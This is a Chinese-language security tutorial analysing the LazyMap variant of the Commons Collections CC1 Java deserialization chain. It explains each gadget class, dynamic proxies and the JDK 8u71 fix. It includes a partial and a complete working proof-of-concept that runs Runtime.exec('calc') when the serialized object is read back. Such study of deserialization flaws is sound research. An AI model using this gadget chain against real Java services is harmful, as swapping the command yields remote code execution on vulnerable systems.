本文将分析 LazyMap 版的 CC1 反序列化利用链。关于前置知识与环境搭建,已在上一篇文章  TransformedMap版CC1链  中进行详细讲解,本篇不再赘述。相较于 TransformedMap 版本,LazyMap 的利用链整体结构变化不大,但在实现细节上稍有差异,它出自ysoserial,下面直接进入核心分析。
LazyMap 版的 CC1 反序列化利用链分析
尾部同样还是InvokerTransformer,可以利用反射执行命令,执行命令详情还是在上一篇文章。代码如下:
| 12
 3
 4
 
 | Runtime runtime = Runtime.getRuntime();
 InvokerTransformer invokerTransformer =new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
 invokerTransformer.transform(runtime);
 
 | 
我们需要继续往前找,哪个类调用了transform()方法,还是同样操作

除了TransformedMap类,还发现LazyMap类中的get()方法调用了transform()方法,可以看到这就是该链的变化点。

转到LazyMap类
LazyMap类
跳转到get()方法实现类,看到了factory.transform(),因此后续factory传入invokerTransformer并调用get()方法就可以执行命令,但是需要进入这个if,它判断map中是否存在这个key,如果不存在就会进入if里面。

TransformedMap与LazyMap的区别:TransformedMap是在put时传入key/value,而LazyMap是在get key时延迟创建 value
继续看一下factory是什么,在该类中搜索一下
发现factory参数和LazyMap构造方法的作用域都为protected,无法直接实例化。


同时发现一个静态方法,它会接受一个Transformer类型的factory并实例化LazyMap;该静态方法解决了参数受保护无法实例化LazyMap的问题。

写一下POC把LazyMap类和InvokerTransformer类串起来,看看能不能执行命令

成功弹计算器说明已经成功把这两个类串了起来
半成品POC
代码的解读已经写在了注释中
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 
 | package CC1demo;  
 import org.apache.commons.collections.functors.InvokerTransformer;
 import org.apache.commons.collections.map.LazyMap;
 import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Method;
 import java.util.HashMap;
 import java.util.Map;
 
 public class LazyMapCCtest {
 public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
 
 Runtime runtime = Runtime.getRuntime();
 InvokerTransformer invokerTransformer =new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
 
 
 HashMap hashMap = new HashMap();
 Map decoratemap = LazyMap.decorate(hashMap, invokerTransformer);
 Class<LazyMap> lazyMapClass = LazyMap.class;
 Method method = lazyMapClass.getDeclaredMethod("get", Object.class);
 method.setAccessible(true);
 method.invoke(decoratemap,runtime);
 }
 }
 
 | 
因为半成品poc的get()方法是我们主动调用,目的是为了测试这两个类能不能串起来。接下来就该继续往前找,看看哪个类可以调用get()方法,继续右键查找用法会发现调用get()方法的类太多了,看一下ysoserial的payload的类是AnnotationInvocationHandler。
AnnotationInvocationHandler类
在该类的invoke()方法中调用了get()方法

找一下memberValues是什么

与上一篇相同,还是该类的构造方法,接收一个Class类型的type注解和Map类型memberValues
因此后续写POC时需要反射调用一个该类的构造方法以便把memberValues替换成LazyMap。
invoke方法中的两个if
invoke方法要调用到memberValues.get()还要绕过两个if

第一个if
第一个if是通过equals()方法判断invoke接收的method参数是不是与字符”equals”相等,因此只要不是就可以绕过这个if。
第二个if
第二个if判断参数长度与0的比较,paraTypes是方法的参数,如果参数长度为零也就是无参方法就可以绕过第二个if。
因此后续的需要一个无参方法才能绕过两个if从而执行get()方法
头部AnnotationInvocationHandler类
两个类虽然是同一个,但是目的和调用顺序不同,因此这里分两步写,与上面做区分;既然上方的invoke()方法可以调用get()方法,那么就需要再找一个能够调用invoke()
的方法。
这个类做头部的原因还是因为它重写了readobject()方法同时还能够调用invoke()方法
动态代理介绍
先把动态代理理解了后续的链子就很容易理解。
接口代码源码
| 12
 3
 
 | public interface HelloService {void sayHello(String name);
 }
 
 | 
接口的实现类源码
| 12
 3
 4
 5
 6
 
 | public class HelloServiceImpl implements HelloService {@Override
 public void sayHello(String name) {
 System.out.println("Hello, " + name + "!");
 }
 }
 
 | 
我们可以通过接口HelloService来调用方法,而动态代理的作用就是可以不用写接口的实现类,直接用动态代理处理器来实现逻辑;当然,动态代理和接口实现类是可以共存的,可以通过代理增强已有的逻辑。我这里举例的是仅有接口和动态代理方便理解。
动态代理拦截器源码
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 
 | 
 public class HelloInvocationHandler implements InvocationHandler {
 private final HelloService target;
 @Override
 public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
 System.out.println("jjxxx");
 
 return null;
 }
 }
 
 
 | 
动态代理demo
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 
 | public class Main {public static void main(String[] args) {
 
 
 HelloService proxyInstance = (HelloService) Proxy.newProxyInstance(
 realService.getClass().getClassLoader(),
 new Class[]{HelloService.class},
 new HelloInvocationHandler(realService)
 );
 
 proxyInstance.sayHello("Alice");
 }
 }
 
 
 | 
使用Proxy.newProxyInstance()创建动态代理,其中需要传入三个参数:
第一个参数:类加载器
第二个参数:要代理的接口
都三个参数:拦截器(动态代理处理器)
总结一下就是再调用要代理的接口的方法时,就会触发拦截器,执行拦截器中的invoke方法。正好符合我们需要调用invoke方法的需求。
正题
InvocationHandler是动态代理处理器,AnnotationInvocationHandler类继承了InvocationHandler,因此AnnotationInvocationHandler也可以作为动态代理处理器。

因此写POC时应该再加上一个动态代理,POC再加上之前用到的ConstantTransformer,ChainedTransformer辅助链。
POC
代码解读在注释中
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 
 | package CC1demo;  
 import org.apache.commons.collections.Transformer;
 import org.apache.commons.collections.functors.ChainedTransformer;
 import org.apache.commons.collections.functors.ConstantTransformer;
 import org.apache.commons.collections.functors.InvokerTransformer;
 import org.apache.commons.collections.map.LazyMap;
 
 import java.io.*;
 import java.lang.reflect.*;
 import java.nio.file.Files;
 import java.nio.file.Paths;
 import java.util.HashMap;
 import java.util.Map;
 
 public class lazymaptest {
 public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException, IOException {
 Transformer[] transformers = new Transformer[]{
 new ConstantTransformer(Runtime.class),
 new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}),
 new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
 new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
 };
 ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
 
 HashMap hashMap = new HashMap();
 Map decoratemap = LazyMap.decorate(hashMap,chainedTransformer );
 
 Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
 Constructor constructor = aClass.getDeclaredConstructor(Class.class,Map.class);
 constructor.setAccessible(true);
 InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class, decoratemap);
 
 
 
 
 Map proxyInstance = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);
 
 Object o = constructor.newInstance(Override.class, proxyInstance);
 
 serialize(o);
 unserialize("1.bin");
 
 }
 
 public static void serialize(Object obj) throws IOException {
 ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));
 out.writeObject(obj);
 }
 
 public static void unserialize(String filename) throws IOException, ClassNotFoundException {
 ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
 out.readObject();
 }
 }
 
 
 | 
运行后成功弹出计算器

流程图
建议多看看流程图,一些细节我都写在了上面。

总结
我在POC中没有写entrySet()的无参方法,它被调用是因为头部类被序列化时调用readobject(),方法中包含的一个memberValues.entrySet()方法也会被执行,走到该方法后,下一步就是头部类通过动态代理调用invoke()方法,从而走到if的判断并绕过它;走完if下一步就是memberValues.get(),memberValues就是decorate修饰过的LazyMap;这样就会调用LazyMap.get(),从而继续往后调用factory.transform(),factory是我们传入的chainedTransformer,这样就会循环调用chainedTransformer内的数组,第一个数组是ConstantTransformer(Runtime.class),因此不管传的key是什么都会返回Runtime.class,循环完就会执行命令。
修复
在 JDK 8u71 及后续版本中,官方对 AnnotationInvocationHandler 类进行了重要修改:移除了该类的 readObject() 方法中的 setValue 方法调用,导致基于 TransformedMap 的CC1利用链无法利用。同时,反序列化机制也不再通过 defaultReadObject 方法来恢复对象属性,这一改动进一步影响了 AnnotationInvocationHandler 类的行为(readobject获取属性的方法改变),使基于 LazyMap 的利用链也无法正常使用;当然,官方对其的修复不仅这些,但是上方的修复方法已经让CC1无法利用。
 JDK版本的更新引出了不受jdk版本限制的利用链CC6,关于 CC6我将在后续继续分析。


参考链接
https://liaoxuefeng.com/books/java/reflection/proxy/index.html
https://drun1baby.top/2022/06/10/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8702-CC1%E9%93%BE%E8%A1%A5%E5%85%85/